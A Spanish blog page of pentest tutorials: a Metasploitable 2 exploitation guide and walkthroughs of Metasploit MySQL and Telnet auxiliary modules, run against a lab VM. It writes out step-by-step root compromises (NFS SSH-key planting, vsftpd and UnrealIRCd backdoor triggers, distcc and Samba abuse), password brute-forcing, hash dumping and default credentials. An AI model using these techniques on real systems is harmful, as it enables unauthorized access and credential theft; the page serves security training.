Mostrando entradas con la etiqueta Metasploit. Mostrar todas las entradas
Mostrando entradas con la etiqueta Metasploit. Mostrar todas las entradas

miércoles, 13 de junio de 2012

Guía de Explotabilidad de Metasploitable 2

Metasploitable 2


La máquina virtual Metasploitable es una versión de Ubuntu Linux intencionalmente vulnerable diseñada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La versión 2 de esta máquina virtual se encuentra disponible para la descarga desde Sourceforge.net y contiene aún muchas más vulnerabilidades que la imágen original. Esta máquina virtual es compatible con VMWare, VirtualBox, y otras plataformas de virtualización comunes. De manera predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores de red NAT y Host-only, y la imagen no debe exponerse a una red hostíl. Este artículo describe muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta documentación sobre el servidor web y las fallas de aplicaciones web, así como las vulnerabilidades que permiten a un usuario local escalar a privilegios de root.

Este documento se seguirá ampliando con el tiempo a medida que muchos de los defectos menos evidentes en esta plataforma se vayan encontrando.


Primeros Pasos


Después de arrancar la máquina virtual, inicie sesión en la consola con el usuario msfadmin y contraseña msfadmin. Desde la shell, ejecute el comando ifconfig para identificar la dirección IP. 

msfadmin@metasploitable:~$ ifconfig
 
eth0      Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1 
          inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1



Servicios


Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los servicios de red abiertos en esta máquina virtual utilizando el Scanner de Seguridad Nmap. La siguiente línea de comando analizará todos los puertos TCP en la instancia de Metasploitable 2:

root@ubuntu:~# nmap -p0-65535 192.168.99.131
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
39292/tcp open  unknown
43729/tcp open  unknown
44813/tcp open  unknown
55852/tcp open  unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)

Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema. En la siguiente sección, caminaremos a través de algunos de estos vectores.



Servicios: Báses de Unix


Los puertos TCP 512, 513, y 514 son conocidos como los servicios "r", y han sido configurados erróneamente para permitir acceso remoto desde cualquier máquina (una situación típica ".rhosts + +"). Para tomar ventaja de esto, nos aseguraremos de que el cliente rsh-client se encuentre instalado (en Ubuntu), y ejecutamos el siguiente comando como usuario root local. Si se nos solicita una llave SSH, esto significa que las herramientas rsh-client no han sido instaladas y Ubuntu está predeterminando a utilizar SSH.

# rlogin -l root 192.168.99.131
Last login: Fri Jun  1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
root@metasploitable:~#


Esto se pone tan bueno como se vé. El próximo servicio que debe tener en cuenta es el sistema de archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo usando rpcinfo para identificar NFS y showmount -e para determinar que el recurso compartido "/" (la raíz del sistema de archivos) estará siendo exportado. Necesitaremos los paquetes de Ubuntu rpcbind y nfs-common para seguir adelante. 

root@ubuntu:~# rpcinfo -p 192.168.99.131
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  53318  status
    100024    1   tcp  43729  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100021    1   udp  46696  nlockmgr
    100021    3   udp  46696  nlockmgr
    100021    4   udp  46696  nlockmgr
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100021    1   tcp  55852  nlockmgr
    100021    3   tcp  55852  nlockmgr
    100021    4   tcp  55852  nlockmgr
    100005    1   udp  34887  mountd
    100005    1   tcp  39292  mountd
    100005    2   udp  34887  mountd
    100005    2   tcp  39292  mountd
    100005    3   udp  34887  mountd
    100005    3   tcp  39292  mountd

root@ubuntu:~# showmount -e 192.168.99.131
Export list for 192.168.99.131:
/ *


Obtener acceso a un sistema con un sistema de archivos modificable como este es algo trivial. Para que sea así (y porque SSH está ejecutándose), generaremos una nueva llave SSH en nuestro sistema atacante, montamos el export NFS y agregamos nuestra llave al archivo authorized_keys de la cuenta de usuario root:

root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#



Servicios: Backdoors


En el puerto 21, Metasploitable 2 ejecuta vsftpd, un servidor FTP popular. Esta versión en particular contiene una puerta trasera (backdoor) que fue introducida en el código fuente por un intruso desconocido. El backdoor fue rápidamente identificado y eliminado, pero no antes de que unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado terminando con la secuencia " :) " (carita felíz), la versión con el backdoor abrirá una shell en escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un módulo de Metasploit Framework para explotarlo automáticamente:

root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.

root@ubuntu:~# telnet 192.168.99.131 6200
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)


En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versión contiene un backdoor que pasó desapercibido por meses, - disparado al enviar las letras "AB" seguidas de un comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un módulo para explotar esto con el fin de obtener una shell interactiva, como se muestra a continuación.

msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf  exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700

id
uid=0(root) gid=0(root)


Mucho menos sutíl es el viejo backdoor remanente "ingreslock" que escucha en el puerto 1524. El puerto ingreslock era una opción popular hace una década para agregar una puerta trasera a un servidor comprometido. Accederlo es fácil:

root@ubuntu:~# telnet 192.168.99.131 1524
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)



Servicios: Backdoors No-Intencionales


Además de las puertas traseras maliciosas de la sección anterior, algunos servicios son casi puertas traseras por su propia naturaleza. El primero de estos que está instalado en Metasploitable 2 es distccd. Este programa hace que sea fácil escalar grandes tareas de compilación a través de una granja de sistemas que aparentan estar configurados para tal fin. El problema con este servicio es que un atacante puede abusar de este para ejecutar un comando a su elección, como lo demuestra el uso del módulo de Metasploit a continuación.

msfconsole
msf > use exploit/unix/misc/distcc_exec
msf  exploit(distcc_exec) > set RHOST 192.168.99.131
msf  exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)


Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un tipo de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El siguiente ejemplo utiliza un módulo de Metasploit para proporcionar acceso al sistema de archivos raíz utilizando una conexión anónima y un recurso compartido con acceso de escritura.

root@ubuntu:~# smbclient -L //192.168.99.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk     
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf  auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...
[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*]     \\192.168.99.131\tmp\rootfs\

msf  auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.99.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]


Contraseñas Débiles


Adicionalmente a las más flagrantes puertas traseras y errores de configuración, Metasploitable 2 tiene terrible seguridad de contraseña tanto para la cuenta del sistema como para la cuenta del servidor de base de datos. El usuario principal de administración msfadmin tiene una contraseña que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya sea mediante el uso de otro defecto para capturar el archivo passwd, o mediante la enumeración de estos identificadores de usuario a través de Samba, un ataque de fuerza bruta puede ser utilizado para acceder rápidamente a varias cuentas de usuario. Como mínimo, las siguientes cuentas débiles del sistema están configuradas en el sistema.

Nombre CuentaContraseña
msfadminmsfadmin
useruser
postgrespostgres
sysbatman
klog123456789
serviceservice


Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con el nombre de usuario postgres y contraseña postgres, mientras que el servicio de MySQL está abierto con el nombre de usuario root y con una contraseña en blanco. El servicio de VNC proporciona el acceso de escritorio remoto a través de la contraseña password.



Crossposted from Metasploitable 2 Exploitability Guide

domingo, 21 de agosto de 2011

Módulos Auxiliares de Metasploit para MySQL

En esta entrada veremos algunos módulos auxiliares de MySQL para utilizar en Metasploit y que nos permitirán obtener información sobre la versión, realizar ataques de fuerza bruta, ejecutar consultas y obtener información útil.

Podemos encontrar estos módulos a través de la búsqueda en Metasploit:
msf > search type:auxiliary mysql


MySQL version scanner (mysql_version)

Para invocar este módulo auxiliar solo debemos ejecutar el siguiente comando:
msf > use auxiliary/scanner/mysql/mysql_version
msf  auxiliary(mysql_version) >


Veamos las variables disponibles de este módulo auxiliar:
msf  auxiliary(mysql_version) > show options

Module options (auxiliary/scanner/mysql/mysql_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    3306             yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf  auxiliary(mysql_version) > 


Aquí solo debemos establecer la dirección IP del sistema objetivo para la variable “RHOSTS”. La variable “RHOSTS” puede definirse como una dirección IP única, un rango de direcciones IP (192.168.1.0-192.168.1.255), una subred (192.168.1.0/24) o un archivo (Ej. /tmp/direcciones_ip.txt). Con el fin de paralelizar los análisis, podemos incrementar el valor de los procesos hilo con la variable “THREADS”.
msf  auxiliary(mysql_version) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134
msf  auxiliary(mysql_version) > set THREADS 5
THREADS => 5


Verificamos de nuevo las variables antes de proceder a ejecutar el módulo.
sf  auxiliary(mysql_version) > show options

Module options (auxiliary/scanner/mysql/mysql_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.58.134   yes       The target address range or CIDR identifier
   RPORT    3306             yes       The target port
   THREADS  5                yes       The number of concurrent threads

msf  auxiliary(mysql_version) > 


Luego de establecer las variables, ejecutamos el módulo y en pocos segundos tendremos resultados:
msf  auxiliary(mysql_version) > run

[*] 192.168.58.134:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(mysql_version) > 



Autenticación en MySQL mediante ataque de fuerza bruta (mysql_login)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf  auxiliary(mysql_version) > use auxiliary/scanner/mysql/mysql_login
msf  auxiliary(mysql_login) > 


Veamos las variables disponibles de este módulo:
msf  auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf  auxiliary(mysql_login) > 


Este módulo intenta autenticarse contra una instancia de MySQL utilizando combinaciones de nombres de usuario y contraseñas en diccionarios definidos en las variables “USER_FILE“, “PASS_FILE“ y “USERPASS_FILE”. Metasploit no provee valores predeterminados para estas variables. Podemos utilizar las listas de contraseñas de SkullSecurity, o esta otra que es actualizada de forma regular.

Para paralelizar los intentos de login, solo debemos incrementar el número de procesos hilos en la variable “THREADS”. También asignar la dirección o rango IP del objetivo en la variable “RHOSTS”. La variable“RHOSTS” puede ser una dirección IP, un rango de direcciones, una subred o un archivo.
msf  auxiliary(mysql_login) > set USER_FILE /root/wordlists/usernames.lst 
USER_FILE => /root/wordlists/usernames.lst
msf  auxiliary(mysql_login) > set PASS_FILE /root/wordlists/passwords.lst 
PASS_FILE => /root/wordlists/passwords.lst
msf  auxiliary(mysql_login) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134
msf  auxiliary(mysql_login) > set THREADS 5
THREADS => 5
msf  auxiliary(mysql_login) > 


Los intentos válidos se mostrarán en la consola con un color verde y los no-válidos de color rojo.
msf  auxiliary(mysql_login) > run

[*] 192.168.58.134:3306 MYSQL - Found remote MySQL version 5.0.51a
[*] 192.168.58.134:3306 MYSQL - [001/923] - Trying username:'admin' with password:''
[*] 192.168.58.134:3306 MYSQL - [001/923] - failed to login as 'admin' with password ''
[*] 192.168.58.134:3306 MYSQL - [002/923] - Trying username:'administrator' with password:''
[*] 192.168.58.134:3306 MYSQL - [002/923] - failed to login as 'administrator' with password ''
[*] 192.168.58.134:3306 MYSQL - [003/923] - Trying username:'backup' with password:''
[*] 192.168.58.134:3306 MYSQL - [003/923] - failed to login as 'backup' with password ''
[*] 192.168.58.134:3306 MYSQL - [004/923] - Trying username:'daemon' with password:''
...
[*] 192.168.58.134:3306 MYSQL - [039/923] - Trying username:'proxy' with password:'proxy'
[*] 192.168.58.134:3306 MYSQL - [039/923] - failed to login as 'proxy' with password 'proxy'
[*] 192.168.58.134:3306 MYSQL - [040/923] - Trying username:'root' with password:'root'
[+] 192.168.58.134:3306 - SUCCESSFUL LOGIN 'root' : 'root'
[+] Scanned 1 of 1 hosts (100% complete)
[+] Auxiliary module execution completed



Ejecución de consultas SQL genéricas en MySQL (mysql_sql)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf  auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_sql
msf  auxiliary(mysql_sql) > 


Este módulo nos permite ejecutar una simple consulta SQL contra una instancia MySQL. La consulta SQL predeterminada verificará la versión de la base de datos MySQL.

Veamos las opciones de este módulo auxiliar:

msf  auxiliary(mysql_sql) > show options

Module options (auxiliary/admin/mysql/mysql_sql):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   PASSWORD                    no        The password for the specified username
   RHOST                       yes       The target address
   RPORT     3306              yes       The target port
   SQL       select version()  yes       The SQL to execute.
   USERNAME                    no        The username to authenticate as

msf  auxiliary(mysql_sql) >


Para la consulta se requiere utilizar las credenciales válidas descubiertas previamente con el módulo auxiliar “mysql_login”. Debemos establecer la variable “RHOST” como servidor de MySQL objetivo. “RHOST” debe establecerse como una dirección IP única.
msf  auxiliary(mysql_sql) > set PASSWORD root
PASSWORD => root
msf  auxiliary(mysql_sql) > set RHOST 192.168.58.134
RHOST => 192.168.58.134
msf  auxiliary(mysql_sql) > set USERNAME root
USERNAME => root
msf  auxiliary(mysql_sql) > show options

Module options (auxiliary/admin/mysql/mysql_sql):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   PASSWORD  root              no        The password for the specified username
   RHOST     192.168.58.134    yes       The target address
   RPORT     3306              yes       The target port
   SQL       select version()  yes       The SQL to execute.
   USERNAME  root              no        The username to authenticate as

msf  auxiliary(mysql_sql) >


Algunas consultas SQL para pruebas de penetración en MySQL se encuentran disponibles en el sitio web pentestmonkey.
msf  auxiliary(mysql_sql) > run

[*] Sending statement: 'select version()'...
[*]  | 5.0.51a-3ubuntu5 |
[*] Auxiliary module execution completed
msf  auxiliary(mysql_sql) > 



Obtención de hashes de contraseñas MySQL (mysql_hashdump)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf  auxiliary(mysql_sql) > use auxiliary/scanner/mysql/mysql_hashdump
msf  auxiliary(mysql_hashdump) > 


Este módulo nos permite obtener los hashes de las contraseñas de usuarios almacenadas en las bases de datos MwSQL.

Veamos las opciones de este módulo auxiliar:
msf  auxiliary(mysql_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port
   THREADS   1                yes       The number of concurrent threads
   USERNAME                   no        The username to authenticate as

msf  auxiliary(mysql_hashdump) > 


Aquí solo debemos establecer la dirección IP del sistema objetivo para la variable "RHOSTS". La variable "RHOSTS" puede definirse como una dirección IP única, un rango de direcciones IP (192.168.1.0-192.168.1.255), una subred (192.168.1.0/24) o un archivo (Ej. /tmp/direcciones_ip.txt).
msf  auxiliary(mysql_hashdump) > set PASSWORD root
PASSWORD => root
msf  auxiliary(mysql_hashdump) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134
msf  auxiliary(mysql_hashdump) > set THREADS 5
THREADS => 5
msf  auxiliary(mysql_hashdump) > set USERNAME root
USERNAME => root
msf  auxiliary(mysql_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  root             no        The password for the specified username
   RHOSTS    192.168.58.134   yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port
   THREADS   5                yes       The number of concurrent threads
   USERNAME  root             no        The username to authenticate as

msf  auxiliary(mysql_hashdump) > 


Con el fin de paralelizar los análisis, podemos incrementar el valor de los procesos hilo con la variable "THREADS". También debemos utilizar credenciales válidas de MySQL, pueden ser las mismas obtenidas anteriormente con el módulo auxiliar "mysql_login".
msf  auxiliary(mysql_hashdump) > run

[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] Saving HashString as Loot: :
[+] Saving HashString as Loot: :
[+] Saving HashString as Loot: debian-sys-maint:*E07F0A7CCC0044345116513C989F45663C1F8347
[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] Hash Table has been saved: /root/.msf4/loot/20110821191208_default_192.168.58.134_mysql.hashes_615106.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(mysql_hashdump) > 



Enumeración en MySQL (mysql_enum)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf  auxiliary(mysql_hashdump) > use auxiliary/admin/mysql/mysql_enum
msf  auxiliary(mysql_enum) > 


Este módulo auxiliar nos permitirá recolectar información útil de un servidor MySQL:

  • La versión de MySQL.
  • El sistema operativo del servidor MySQL.
  • La arquitectura del servidor.
  • El nombre de máquina.
  • La ubicación del directorio de datos MySQL.
  • Si el registro de las consultas e ingresos está activado, y la ubicación de los logs de MySQL.
  • Si el antiguo algoritmo de hashing de contraseñas está activado.
  • Si la carga de archivos locales (infile) se encuentra activada.
  • Si los ingresos con contraseñas antiguas (Pre-4.1.) están autorizados.
  • Si la opción “–skip-grant-tables” está activada.
  • Si están autorizados los enlaces simbólicos para ser utilizados como archivos de datos.
  • Si están permitidas las combinaciones de tablas.
  • Si la opción “–safe-show-database” está activada.
  • Si las conexiones SSL están habilitadas.
  • Todas las cuentas con sus hashes de contraseñas.
  • Todas las cuentas con privilegios “GRANT“, ”CREATE USER”, “RELOAD“, ”SHUTDOWN“, “SUPER“, “FILE” y “PROCESS”.
  • Todas las cuentas con privilegios “SELECT“, “INSERT“, “UPDATE“, “DELETE“, “CREATE” and “DROP”.
  • Todas las cuentas anónimas.
  • Todas las cuentas sin contraseña.
  • Todas las cuentas con acceso autorizado desde cualquier host.


Veamos las opciones de este módulo auxiliar:
msf  auxiliary(mysql_enum) > show options

Module options (auxiliary/admin/mysql/mysql_enum):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOST                      yes       The target address
   RPORT     3306             yes       The target port
   USERNAME                   no        The username to authenticate as

msf  auxiliary(mysql_enum) > 


Para utilizar este módulo auxiliar es necesario que tengamos acceso a la base de datos con un usuario que tenga privilegios. También debemos establecer el valor de la variable "RHOST" con la dirección IP del servidor MySQL..
msf  auxiliary(mysql_enum) > set PASSWORD root
PASSWORD => root
msf  auxiliary(mysql_enum) > set RHOST 192.168.58.134
RHOST => 192.168.58.134
msf  auxiliary(mysql_enum) > set USERNAME root
USERNAME => root
msf  auxiliary(mysql_enum) > show options

Module options (auxiliary/admin/mysql/mysql_enum):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  root             no        The password for the specified username
   RHOST     192.168.58.134   yes       The target address
   RPORT     3306             yes       The target port
   USERNAME  root             no        The username to authenticate as

msf  auxiliary(mysql_enum) > 


Luego de establecer las variables ejecutamos el módulo:
msf  auxiliary(mysql_enum) > run

[*] Running MySQL Enumerator...
[*] Enumerating Parameters
[*] 	MySQL Version: 5.0.51a-3ubuntu5
[*] 	Compiled for the following OS: debian-linux-gnu
[*] 	Architecture: i486
[*] 	Server Hostname: metasploitable
[*] 	Data Directory: /var/lib/mysql/
[*] 	Logging of queries and logins: OFF
[*] 	Old Password Hashing Algorithm OFF
[*] 	Loading of local files: ON
[*] 	Logins with old Pre-4.1 Passwords: OFF
[*] 	Allow Use of symlinks for Database Files: YES
[*] 	Allow Table Merge: YES
[*] 	SSL Connections: Enabled
[*] 	SSL CA Certificate: /etc/mysql/cacert.pem
[*] 	SSL Key: /etc/mysql/server-key.pem
[*] 	SSL Certificate: /etc/mysql/server-cert.pem
[*] Enumerating Accounts:
[*] 	List of Accounts with Password Hashes:
[*] 		User: root Host: localhost Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] 		User: root Host: ubuntu804-base Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] 		User: root Host: 127.0.0.1 Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] 		User:  Host: localhost Password Hash: 
[*] 		User:  Host: ubuntu804-base Password Hash: 
[*] 		User: debian-sys-maint Host: localhost Password Hash: *E07F0A7CCC0044345116513C989F45663C1F8347
[*] 		User: root Host: % Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
...
[*] Auxiliary module execution completed


Fuente

Módulos Auxiliares de Metasploit para Telnet

Metasploit proporciona algunos módulos auxiliares para Telnet que nos permitirán analizar la versión en ejecución, realizar ataques de fuerza bruta y simular un servidor Telnet falso.

Podemos encontrar todos estos módulos auxiliares a través de la búsqueda en Metasploit:

msf > search type:auxiliary telnet


Telnet version scanner (telnet_version)

Para invocar este módulo auxiliar solo debemos ejecutar el siguiente comando:
msf > use auxiliary/scanner/telnet/telnet_version 
msf  auxiliary(telnet_version) > 


Veamos las variables disponibles de este módulo auxiliar:
msf  auxiliary(telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     23               yes       The target port
   THREADS   1                yes       The number of concurrent threads
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


En este caso solo tenemos que establecer la dirección IP del objetivo en la variable “RHOSTS”. La variable“RHOSTS” puede ser una dirección IP única, un rango de direcciones (192.168.1.0-192.168.1.255) una subred (192.168.1.0/24) o un archivo (/tmp/ip_addresses.txt). Si quisiéramos paralelizar los procesos del análisis de la versión, solo debemos incrementar el número de procesos hilos en la variable “THREADS”. Para reducir el tiempo límite de conexión Telnet, reducimos el valor de la variable “TIMEOUT”.
msf  auxiliary(telnet_version) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134


Luego de establecer las variables, ejecutamos el módulo y en pocos segundos tendremos resultados:
msf  auxiliary(telnet_version) > run

[*] 192.168.58.134:23 TELNET Ubuntu 8.04\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed



Autenticación en Telnet mediante ataque de fuerza bruta (telnet_login)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf > use auxiliary/scanner/telnet/telnet_login 
msf  auxiliary(telnet_login) > 

Este módulo intenta autenticarse contra un servidor Telnet utilizando combinaciones de nombres de usuario y contraseñas en diccionarios definidos en las variables “USER_FILE“, “PASS_FILE“ y “USERPASS_FILE”. Metasploit proporciona archivos para las variables “USER_FILE” (/opt/metasploit3/msf3/data/wordlists/unix_users.txt) y "PASS_FILE” (/opt/metasploit3/msf3/data/wordlists/unix_passwords.txt). También podemos utilizar las listas de contraseñas de SkullSecurity, o esta otra que es actualizada de forma regular. 

Para paralelizar los intentos de login, solo debemos incrementar el número de procesos hilos en la variable “THREADS”. También asignar la dirección o rango IP del objetivo en la variable “RHOSTS”. La variable“RHOSTS” puede ser una dirección IP, un rango de direcciones, una subred o un archivo. Cada login y contraseña descubiertos crearán una sesión de Metasploit.

msf  auxiliary(telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             23               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts
